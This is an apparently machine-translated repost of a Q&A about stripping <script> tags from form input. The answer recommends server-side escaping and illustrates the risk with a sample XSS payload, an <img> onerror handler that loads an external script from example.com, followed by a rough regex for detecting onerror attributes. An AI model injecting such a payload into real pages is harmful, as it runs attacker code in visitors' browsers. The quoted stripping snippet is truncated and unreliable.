[英]How to create form to remove <script></script> tags and remove content or script between this tags?
如何創建表單以刪除<script></script>
標簽並刪除標簽之間的內容或腳本。 請任何人為我做一個表格(我已經問過這個問題,但沒有找到任何有幫助的答案。)
像這樣的形式:(此形式僅刪除<script></script>
標記,不刪除<script>text</script>
標記之間的<script>text</script>
)
<script type="text/javascript">
// Strip HTML Tags (form) script- By JavaScriptKit.com (http://www.javascriptkit.com)
// For this and over 400+ free scripts, visit JavaScript Kit- http://www.javascriptkit.com/
// This notice must stay intact for use
function stripHTML(){
var re= /<\S[^><]*>/g
for (i=0; i<arguments.length; i++)
arguments[i].value=arguments[i].value.… "")
}
</script>
<form onSubmit="stripHTML(this.data1, this.data2)">
<textarea name="data1" style="width: 400px; height: 100px"></textarea>
<textarea name="data2" style="width: 400px; height: 100px"></textarea>
<input type="submit" value="submit">
</form>
看起來您正在嘗試在提交表單之前從textarea
剝離HTML。
這毫無意義,因為任何驗證和轉義都需要在您的服務器上進行。 如果您有在script
元素中提交非常大的代碼塊並試圖減少一些通信量的歷史,那么我可以想到的唯一好處。
您應該按原樣提交表單(可以選擇在客戶端進行驗證),然后不要從中剝離標簽 。 相反,請保持原樣,然后根據上下文選擇轉義方法。 例如,如果您將此文本視為文本,並且需要將其顯示回最終用戶,請使用echo htmlspecialchars($_POST['data1']);
。
請記住,還有其他將JavaScript注入頁面的方法–您要做的不只是使<script>
標記無效。
例如,您可以將Javascript作為DOM屬性包含在內-它將被執行。
<img src="ლ(ಠ益ಠლ)" onerror="var b=document.createElement('script');b.setAttribute('src','http://www.example.com/script.js');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(b,s);"/>
該<img>
標記具有虛假的URL,因此將導致錯誤,並觸發其onerror
處理程序。 在這種情況下,我將其設置為加載外部JS文件。
如果您確實要阻止執行任意Javascript,則必須執行一些其他處理。
以下(超級草率)正則表達式將匹配任何包含onerror
屬性(但YMMV)的HTML標記。 在這種形式下,它還可以匹配諸如<div class="onerror">
東西,並且您不想刪除可能無害的東西。
(<)(.*?)(onerror)(.*?)(>)
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.